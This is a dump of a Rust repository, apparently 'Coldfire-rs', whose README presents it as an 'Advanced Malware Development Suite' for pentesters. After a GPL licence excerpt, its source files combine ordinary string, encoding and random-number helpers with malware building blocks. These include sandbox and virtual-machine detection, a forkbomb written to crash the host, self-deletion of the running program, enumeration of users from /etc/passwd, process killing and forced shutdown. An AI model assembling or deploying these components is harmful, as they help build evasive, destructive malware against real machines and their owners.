want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 | 4 | 5 |

6 |

Advanced Malware Development Suite

7 | 8 | 9 | # Description 10 | 11 | A modern malware development framework written in rust that would be great for a pentester's toolkit. 12 | 13 | # Installation Guide 14 | 15 | cargo install Coldfire-rs 16 | 17 | ## Building It Yourself 18 | 19 | 1. git clone the repo. 20 | 2. Install rust with ```curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh``` 21 | 3. cd into the git repo and run ```cargo build --release``` 22 | 4. Have fun with it. 23 | 24 | # Credits 25 | 26 | A lot of thanks to [hridyansh](https://github.com/acnologia000) for helping me out with this project. 27 | 28 | # License 29 | 30 | This project is licensed under [GPL-3.0](https://raw.githubusercontent.com/Illumina/licenses/master/gpl-3.0.txt). 31 | -------------------------------------------------------------------------------- /logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Osiris9999/Coldfire-rs/23fc77c2ae1a970b9f899a04571444bd5e03d26f/logo.png -------------------------------------------------------------------------------- /src/linux.rs: -------------------------------------------------------------------------------- 1 | use std::convert::TryInto; 2 | use std::fs::read_dir; 3 | use std::process::Command; 4 | 5 | fn kill_proc_by_pid(pid: u32) -> String { 6 | let p = pid.to_string(); 7 | let cmd = "kill -9 ".to_owned() + &p; 8 | let (_, err) = cmd_out(&cmd); 9 | err 10 | } 11 | 12 | fn info() -> String { 13 | match Command::new("whoami").output() { 14 | Ok(output) => return String::from_utf8_lossy(&output.stdout).replace("\n", ""), 15 | Err(err) => "N/A".to_string(), 16 | } 17 | } 18 | 19 | fn is_root() -> bool { 20 | let (u, err) = cmd_out("whoami"); 21 | if u == "root" { 22 | true 23 | } else { 24 | false 25 | } 26 | } 27 | 28 | fn cmd_out(command: &str) -> (String, String) { 29 | let output = Command::new("bash") 30 | .arg("-c") 31 | .arg(command) 32 | .output() 33 | .expect("Failed to execute command"); 34 | let out = String::from_utf8_lossy(&output.stdout).replace("\n", ""); 35 | let err = String::from_utf8_lossy(&output.stderr).replace("\n", ""); 36 | (out, err) 37 | } 38 | 39 | fn sandbox_filepath() -> bool { 40 | let (out, err) = cmd_out("systemd-detect-virt"); 41 | out != "none" 42 | } 43 | 44 | fn sandbox_tmp(entries: u32) -> bool { 45 | let files = read_dir("/tmp"); 46 | let s = match files { 47 | Ok(x) => x, 48 | Err(_) => return true, 49 | }; 50 | 51 | let s = s.count() + 2; 52 | 53 | s < entries.try_into().unwrap() 54 | } 55 | 56 | fn shutdown() -> String { 57 | let c = "shutdown +1"; 58 | let (out, err) = cmd_out(c); 59 | err 60 | } 61 | 62 | fn users() -> Result, std::io::Error> { 63 | Command::new("cut") 64 | .arg("-d:") 65 | .arg("-f1") 66 | .arg("/etc/passwd") 67 | .output() 68 | .map(|output| { 69 | String::from_utf8_lossy(&output.stdout) 70 | .split('\n') 71 | .map(|s| s.to_string()) 72 | .collect() 73 | }) 74 | } 75 | 76 | fn main() {} 77 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | mod linux; 2 | use error_chain::error_chain; 3 | use rand::Rng; 4 | use std::io::Read; 5 | use std::{ 6 | env, fs, 7 | fs::File, 8 | io, 9 | io::{prelude::*, BufReader}, 10 | net::UdpSocket, 11 | path::Path, 12 | process::Command, 13 | }; 14 | error_chain! { 15 | foreign_links { 16 | Io(std::io::Error); 17 | HttpRequest(reqwest::Error); 18 | } 19 | } 20 | 21 | // revert returns a reversed string. 22 | fn revert(s: String) -> String { 23 | let reverted_string = s.chars().rev().collect::(); 24 | reverted_string 25 | } 26 | 27 | // filetoslice reads a textfile and returns all lines as a vector. 28 | fn filetoslice(filename: &str) -> Vec { 29 | let file = File::open(filename).expect("no such file"); 30 | let buf = BufReader::new(file); 31 | buf.lines() 32 | .map(|l| l.expect("Could not parse line")) 33 | .collect() 34 | } 35 | 36 | // str_to_int converts a string into an integer. 37 | fn str_to_int(string_integer: String) -> u32 { 38 | string_integer.parse::().unwrap() 39 | } 40 | 41 | // str_to_words returns a list of strings which was split by spaces. 42 | fn str_to_words(s: &str) -> Vec<&str> { 43 | s.split(' ').collect() 44 | } 45 | 46 | // int_to_str converts an integer into a string. 47 | fn int_to_str(i: u32) -> String { 48 | i.to_string() 49 | } 50 | 51 | // size_to_bytes converts a human friendly string indicating size into a proper integer. 52 | fn size_to_bytes(size: &str) -> u128 { 53 | let mut size = size.to_string(); 54 | let last_chara = size.chars().last().unwrap(); 55 | size.pop(); 56 | let i: u128 = size.parse().unwrap(); 57 | match last_chara { 58 | 'g' => i * 1024 * 1024 * 1024, 59 | 'm' => i * 1024 * 1024, 60 | 'k' => i * 1024, 61 | _ => i, 62 | } 63 | } 64 | 65 | // interval_to_seconds converts a human friendly string indicating time into a proper integer. 66 | fn interval_to_seconds(interval: &str) -> u128 { 67 | let mut interval = interval.to_string(); 68 | let last_chara = interval.chars().last().unwrap(); 69 | interval.pop(); 70 | let i: u128 = interval.parse().unwrap(); 71 | match last_chara { 72 | 'd' => i * 24 * 3600, 73 | 'h' => i * 3600, 74 | 'm' => i * 60, 75 | 's' => i, 76 | _ => i, 77 | } 78 | } 79 | 80 | // random_int returns an integer within a given range. 81 | fn random_int(min: u32, max: u32) -> u32 { 82 | rand::thread_rng().gen_range(min..max) 83 | } 84 | 85 | // random_select_str returns a string that was randomly selected from a list of elements of vector. 86 | fn random_select_str(list: Vec<&str>) -> String { 87 | let mut rng = rand::thread_rng(); 88 | let n = rng.gen_range(0..list.len()); 89 | list[n].to_string() 90 | } 91 | 92 | // random_select_int returns an integer that was randomly selected from a list of vector of integers. 93 | fn random_select_int(list: Vec) -> u32 { 94 | let mut rng = rand::thread_rng(); 95 | let n = rng.gen_range(0..list.len()); 96 | list[n] 97 | } 98 | 99 | // remove_new_lines removes possible newlines from a string. 100 | fn remove_new_lines(s: String) -> String { 101 | s.replace("\n", " ") 102 | } 103 | 104 | // full_remove removes all instances of a string from another string. 105 | fn full_remove(str: String, to_remove: String) -> String { 106 | str.replace(&to_remove, "") 107 | } 108 | 109 | // contains_any checks if a string exists within a vector of strings. 110 | fn contains_any(str: String, elements: Vec) -> bool { 111 | elements.contains(&str) 112 | } 113 | 114 | // random_string randomly generates an alphabetic string of a given length. 115 | fn random_string(n: usize) -> String { 116 | const CHARSET: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; 117 | let password_len: usize = n; 118 | let mut rng = rand::thread_rng(); 119 | 120 | (0..password_len) 121 | .map(|_| { 122 | let idx = rng.gen_range(0..CHARSET.len()); 123 | CHARSET[idx] as char 124 | }) 125 | .collect() 126 | } 127 | 128 | // get_localip is used to get the local Ip address of the machine. 129 | fn get_localip() -> io::Result { 130 | let socket = UdpSocket::bind(("0.0.0.0", 0))?; 131 | socket.connect(("8.8.8.8", 80))?; 132 | socket.local_addr() 133 | } 134 | 135 | // get_globalip is used to return the global Ip address of the machine. 136 | fn get_globalip() -> Result { 137 | let resolvers = vec![ 138 | "https://api.ipify.org?format=text", 139 | "http://myexternalip.com/raw", 140 | "http://ident.me", 141 | ]; 142 | let url = random_select_str(resolvers); 143 | let mut res = reqwest::blocking::get(url)?; 144 | let mut body = String::new(); 145 | res.read_to_string(&mut body)?; 146 | 147 | Ok(body) 148 | } 149 | 150 | // md5hash hashes a given string using the MD5. 151 | fn md5hash(s: &str) -> String { 152 | let digest = md5::compute(s.as_bytes()); 153 | format!("{:x}", digest) 154 | } 155 | 156 | // read_file is used to read a given file and return its data as a string. 157 | fn read_file(filename: &str) -> Result { 158 | Ok(fs::read_to_string(filename)?) 159 | } 160 | 161 | // write_file is used to write data into a given file. 162 | fn write_file(filename: &str, data: &str) -> Result<()> { 163 | Ok(fs::write(filename, data)?) 164 | } 165 | 166 | // b64d decodes a given string encoded in Base64. 167 | fn b64d(s: &str) -> String { 168 | String::from_utf8_lossy(&base64::decode(s).unwrap()).to_string() 169 | } 170 | 171 | // b64e encodes a string in Base64. 172 | fn b64e(s: &str) -> String { 173 | let b64 = base64::encode(s.as_bytes()); 174 | b64 175 | } 176 | 177 | // Wait uses a human friendly string that indicates how long a system should wait. 178 | fn wait(s: &str) { 179 | let mut child = Command::new("sleep").arg(s).spawn().unwrap(); 180 | let time = child.wait().unwrap(); 181 | } 182 | 183 | // forkbomb spawns threads in order to crash the machine. 184 | fn forkbomb() { 185 | loop { 186 | std::thread::spawn(forkbomb); 187 | } 188 | } 189 | 190 | // remove is used to delete the program file. 191 | fn remove() -> std::io::Result<()> { 192 | let args: Vec<_> = env::args().collect(); 193 | fs::remove_file(args[0].to_owned())?; 194 | Ok(()) 195 | } 196 | 197 | // exists checks if a given file is in the system. 198 | fn exists(file: String) -> bool { 199 | Path::new(&file).exists() 200 | } 201 | 202 | // copy_file copies a file from one directory to another. 203 | fn copy_file(src: &str, dst: &str) -> std::io::Result<()> { 204 | fs::copy(src, dst)?; 205 | Ok(()) 206 | } 207 | 208 | fn main() {} 209 | --------------------------------------------------------------------------------